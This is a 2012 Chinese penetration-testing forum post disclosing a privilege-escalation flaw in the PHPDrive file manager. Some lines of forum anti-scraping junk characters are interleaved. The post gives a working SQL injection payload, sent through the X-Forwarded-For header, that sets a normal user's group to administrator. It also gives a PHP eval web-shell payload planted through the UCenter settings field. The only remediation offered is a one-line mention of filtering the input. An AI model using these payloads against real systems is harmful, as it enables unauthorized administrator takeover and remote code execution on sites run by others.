中国网络渗透测试联盟
标题:
PHPDrive权限提升漏洞
[打印本页]
作者:
admin
时间:
2012-12-31 09:18
标题:
PHPDrive权限提升漏洞
PHPDrive 是一套运行于 PHP 环境的文件管理系统，可以应用于网盘、企业文件管理、学校、团队管理、软件站、文件CMS等
4 e; a: ^0 A+ Q1 W: n+ R
8 z8 K$ a) Z! X. c- T
includes/user.lib.php
8 ]6 K2 {: F+ I& R( @
行87
, m( @1 n! |( p- h
function get_ip() {
" s4 J: m" w( G
if(isset($_SERVER["HTTP_X_FORWARDED_FOR"])&&$_SERVER["HTTP_X_FORWARDED_FOR"]) $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];.
9 O! M/ T5 q+ c& c& W7 g$ h
在用户注册与登录 处module/disk/account.lead.php
j5 j% d8 r0 D( |: t! v/ `
198行
8 C! b" k$ l' `
//更新本次登录IP和时间
/ p! `0 B- P' j6 [
$db->Query(‘UPDATE `’.$db->TPre.’user` SET `before_last_date` = ‘.$UserArr['last_date'].’,`last_date` = ‘.$NowUnixTime.’,`before_last_ip` = “‘.$UserArr['last_ip'].’”,`last_ip` = “‘.get_ip().’” WHERE `uid` = ‘.$UserArr['uid'].’;');//get_ip()入库注入产生
2 S+ c. W; U& t6 B+ F- j
由于本套程序user与manager是存在于同一个表下的，只是用group字段来区分两者,group=1为管理员，2则为普通用户。所以可以利用以上注入，将普通用户的group值改为1，即可提升权限
) a0 g0 X4 Q5 n. C2 C* a
实现方法：使用firefox的一款插件x-forwarded-for Header 1.0,将你的IP地址改为123″,`group`=”1然后登陆，这时候你就是管理员了.
0 u& e1 D# p% q1 _9 K
后台getshell:
2 Y1 R/ ]6 u* g0 R: v
在UCenter设置处，将UC数据库登录名填写为
5 V% i& D9 T% a* c4 K+ P. o
, R5 U+ v7 _ f; R* u
root’);eval($_POST[DisKill]);?>/*
% w' I8 J, F! a v6 S" u$ u% P
可以得到一个shell,位置在 data/uc.data.php
( O( \- p9 T# R
3 O4 i2 g4 O# A: @" g
修复：过滤注入
1 b, j6 x7 ^* s3 M2 S" M/ Q
/ S9 u& o% L3 P7 u
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2